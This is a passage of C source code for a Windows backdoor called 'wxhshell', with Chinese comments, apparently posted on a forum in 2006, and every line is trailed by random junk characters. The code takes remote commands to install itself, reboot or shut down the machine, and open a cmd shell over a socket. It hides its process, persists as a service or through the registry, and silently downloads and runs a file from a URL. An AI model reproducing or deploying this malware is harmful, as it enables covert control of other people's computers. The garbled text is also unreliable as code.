      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '#cT4_D^lI  
    break; uznoyj6g  
  } .jU|gf:x  
  // 安装 v YRt2({}Z  
  case 'i': { c[wQJc  
    if(Install()) OoAr%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JVJ1Ay/be  
    else j33P~H~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <.PPs:{8#  
    break; w\"n!^ms  
    } s,UN'~e1  
  // 卸载 GibggOj2Q,  
  case 'r': { AmT| %j&3  
    if(Uninstall()) Hj5WJ{p.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &rl]$Mtt  
    else }S~ysQwT  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9#Aipu\  
    break; aBqe+FXp4  
    } s T :tFK\  
  // 显示 wxhshell 所在路径 GL;x:2XA  
  case 'p': { &;6|nl9;  
    char svExeFile[MAX_PATH]; |d/x~t=  
    strcpy(svExeFile,"\n\r"); *j_fG$10g  
      strcat(svExeFile,ExeFile); 2FZ 0c/[&  
        send(wsh,svExeFile,strlen(svExeFile),0); Sy+]SeF&  
    break; Uy$U8b-ov  
    } /%ODJ1M  
  // 重启 Vq\..!y  
  case 'b': { \U)2 Tg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @yU!sE:  
    if(Boot(REBOOT)) h}anTFKP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w-0O j  
    else { t6<sNz F&  
    closesocket(wsh); /XWPN(JC?  
    ExitThread(0); Y^c,mK^  
    } X]JpS  
    break; C0t+Q  
    } ,E*a$cCw  
  // 关机 ? RR Srr1  
  case 'd': { e6{[o@aM{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \J,- <wF  
    if(Boot(SHUTDOWN)) xY\*L:TwW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h9Tf@]W   
    else { Y2=Brtc[@  
    closesocket(wsh); Oi kU$~|  
    ExitThread(0); jM3Y|}+  
    } !_XU^A>  
    break;  \pewbu5^  
    } #FQm/Q<0  
  // 获取shell )5GdvqA  
  case 's': { hSx+ {4PZ  
    CmdShell(wsh); $+lz<~R  
    closesocket(wsh); E1l\~%A  
    ExitThread(0); 4PO%qO  
    break; yv!''F:9F  
  } TzevC$m;z  
  // 退出 X5L(_0?F1  
  case 'x': { |7S4;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7kX7\[zN  
    CloseIt(wsh); 2vh!pez_  
    break; JL.yd H79  
    } (:fE _H2z  
  // 离开 zCGmn& *M  
  case 'q': { l $p_])x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (Qx-KRH  
    closesocket(wsh); VeN&rjc  
    WSACleanup(); T4HoSei  
    exit(1); _M"$5 T  
    break; 2#n$x*CY  
        } ZHiICh|et%  
  } uhw5O9  
  } +/@ZnE9s  
RK~FT/  
  // 提示信息 shDt&_n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HjUw[Yz+6  
} I*vj26qvg  
  } _} X`t8Lh  
vHI"C %  
  return; Top#u  
} 9s\i(/RxW  
U7*VIRibv+  
// shell模块句柄 3h D2C'KD  
int CmdShell(SOCKET sock)  &aevR^f+  
{ 1VjeP *  
STARTUPINFO si; /SqFP L]  
ZeroMemory(&si,sizeof(si)); M|Dwk3#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cT>z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U3_yEvZ  
PROCESS_INFORMATION ProcessInfo; }<\65 B$1  
char cmdline[]="cmd"; d,oOn.n&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +4:+qGAJ{  
  return 0; *(\;}JF-  
} Ghgv RR$  
St7D.|  
// 自身启动模式 1)/T.q<D"  
int StartFromService(void) <SC|A|  
{ ~kj(s>xP  
typedef struct #o r7T^  
{ f<> YYeY  
  DWORD ExitStatus; Xg!|F[i  
  DWORD PebBaseAddress; $ vw}p.  
  DWORD AffinityMask; P2 K>|r  
  DWORD BasePriority; -YRL>]1  
  ULONG UniqueProcessId; YW$x:  
  ULONG InheritedFromUniqueProcessId; M;p q2$   
}   PROCESS_BASIC_INFORMATION; [BZ(p  
T24#gF~  
PROCNTQSIP NtQueryInformationProcess; E? m#S  
^zWO[$n}tP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }%>$}4 ,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IjB*myN.  
Z;~E+dXC  
  HANDLE             hProcess; B'gk/^6$eg  
  PROCESS_BASIC_INFORMATION pbi; $MJDB  
[^(R1K  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >e$^# \D  
  if(NULL == hInst ) return 0; h4B#T'b  
TNFm7}=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L$u&~"z-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qT<qu(V:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rCSG@D.  
[-Dgo1}Qr  
  if (!NtQueryInformationProcess) return 0; eVCkPv *  
?;KJ (@Va  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3Ibt'$dK  
  if(!hProcess) return 0; _[OEE<(  
ZvnZ}t >?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1M~:]}*<  
.{]c&Ef+f  
  CloseHandle(hProcess); 8 {4D|o#O  
$L#Z?76v  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w7t"&=pF7  
if(hProcess==NULL) return 0; A6x_!  
^`>Ysc(@&  
HMODULE hMod; zWmo OnK  
char procName[255]; w`#0 Y9O  
unsigned long cbNeeded; m/F(h-?  
:{N3o:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); DHumBnQ  
!,JT91  
  CloseHandle(hProcess); /DG`Hg  
 +SA<0l  
if(strstr(procName,"services")) return 1; // 以服务启动 C"` 'Re5)  
NK#"qK""k  
  return 0; // 注册表启动 %]sEt{  
} ]BQWA  
hPXVPLm7I  
// 主模块 a9EI7pnq  
int StartWxhshell(LPSTR lpCmdLine) *~<]|H5~  
{ 7@y!R   
  SOCKET wsl; FiU;>t<)  
BOOL val=TRUE; ~ %YTJS  
  int port=0; komxot[[  
  struct sockaddr_in door; 6$vh qg}f  
D)~nAkVq  
  if(wscfg.ws_autoins) Install(); HAUTCX  
-IsdU7}  
port=atoi(lpCmdLine); (zYSSf!I  
v^18o$=K",  
if(port<=0) port=wscfg.ws_port; I'%H:53^0  
rPGE-d3  
  WSADATA data; <:;:*s3]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; twHM~cTS  
~S=fMv^BR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [@)z$W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gJFpEA {  
  door.sin_family = AF_INET; $*)(8Cl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 10I`AjF0  
  door.sin_port = htons(port); b;;Kxi:7$}  
'S D|ObBY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y <i}"eI*  
closesocket(wsl); -MW(={#   
return 1; Y./}zCT  
} RdVis|7o  
K\E]X\:  
  if(listen(wsl,2) == INVALID_SOCKET) { 4C9"Q,o%&  
closesocket(wsl); R6@~   
return 1; a~eLkWnh<k  
} @?cXa: tX  
  Wxhshell(wsl); b= ec?n #7  
  WSACleanup(); :2Rci`lp  
8J?`_  
return 0; X-r,>o:  
!#4HGjPI  
} kR~4O$riG  
mF:s-+  
// 以NT服务方式启动 ABe^]HlH  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) !2M[  
{ K2o0L5Lke  
DWORD   status = 0; -[7,ph  
  DWORD   specificError = 0xfffffff; #.L0]Uqcp  
3) Awj++  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T0"0/{5-_  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pW^ ?g|_}  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CU^3L|f2N  
  serviceStatus.dwWin32ExitCode     = 0; @C [|'[xQ  
  serviceStatus.dwServiceSpecificExitCode = 0; ,~?A. 5  
  serviceStatus.dwCheckPoint       = 0; iK:qPrk-  
  serviceStatus.dwWaitHint       = 0; -L50kk>h  
P<JkRX  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); e}yu<~v_  
  if (hServiceStatusHandle==0) return; }xlmsOHuI  
 D6!+  
status = GetLastError(); P 7.8tM2}  
  if (status!=NO_ERROR) ~+iJpW  
{ PEn^.v@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R^kv!x;h  
    serviceStatus.dwCheckPoint       = 0; *P\_:>bV(  
    serviceStatus.dwWaitHint       = 0; {s'_zS z  
    serviceStatus.dwWin32ExitCode     = status;  p6l@O3  
    serviceStatus.dwServiceSpecificExitCode = specificError; TvG:T{jwy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); gsm^{jB  
    return; )MW}!U9G  
  } +rpd0s49  
}vA nP]!A5  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 12' (MAP  
  serviceStatus.dwCheckPoint       = 0; 8=o5;]Cg  
  serviceStatus.dwWaitHint       = 0; ^Ro du  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 7^TXlW n^G  
} \bQ!> l\  
R*{?4NKG  
// 处理NT服务事件,比如:启动、停止 $yqq.#1  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2m_M9e\  
{ x[~OVG0M*  
switch(fdwControl) ]`H.qV  
{ u0KZrz  
case SERVICE_CONTROL_STOP: Qr-J-2s?B  
  serviceStatus.dwWin32ExitCode = 0; 7-g4S]r<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +9F#~{v`4a  
  serviceStatus.dwCheckPoint   = 0; K2 K6  
  serviceStatus.dwWaitHint     = 0; 4_0/]:~5  
  { j3-6WUO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z=[a 8CU  
  } )j|y.[  
  return; J9c3d~YW  
case SERVICE_CONTROL_PAUSE: LtWU"42  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <$2zr4  
  break; ^o\p|f>f  
case SERVICE_CONTROL_CONTINUE: dq/?&X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5@A=, GPUn  
  break; Q~!hr0 ZR  
case SERVICE_CONTROL_INTERROGATE:  `e=n( D  
  break; `'.x*MNF  
}; gH55c aF<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TZyQOjUu  
} XJ/ kB8  
rw0lXs#K<E  
// 标准应用程序主函数 aDv/kFfn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -mw \?\2{  
{ q &6=oss!  
?,DbV|3 _\  
// 获取操作系统版本 Hf!4(\yN  
OsIsNt=GetOsVer(); ER0#$yFpM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); J15T!_AW<  
PR6uw  
  // 从命令行安装 i8@e}O I  
  if(strpbrk(lpCmdLine,"iI")) Install(); at]Q4  
H[k3)r2  
  // 下载执行文件 5(`GF|  
if(wscfg.ws_downexe) { -gGK(PIf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !TZ/PqcE  
  WinExec(wscfg.ws_filenam,SW_HIDE); )stWr r&  
} B2WX#/lgd  
rh&Eu qE%  
if(!OsIsNt) { L;7mt 4H  
// 如果时win9x,隐藏进程并且设置为注册表启动 nKkTnTSa  
HideProc(); ZM, ^R?e  
StartWxhshell(lpCmdLine); iB`]Z@ZC  
} ?yeC j1X  
else TN aff  
  if(StartFromService()) #%tL8/K*  
  // 以服务方式启动 A"VXs1>_^  
  StartServiceCtrlDispatcher(DispatchTable); k 0Yixa  
else `b'J*4|oGo  
  // 普通方式启动 A1$'[8U~3  
  StartWxhshell(lpCmdLine); /O9EI'40)  
E'6P>6l5  
return 0; lS-i9U/,>  
}
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只看该作者 1 发表于: 2006-10-10
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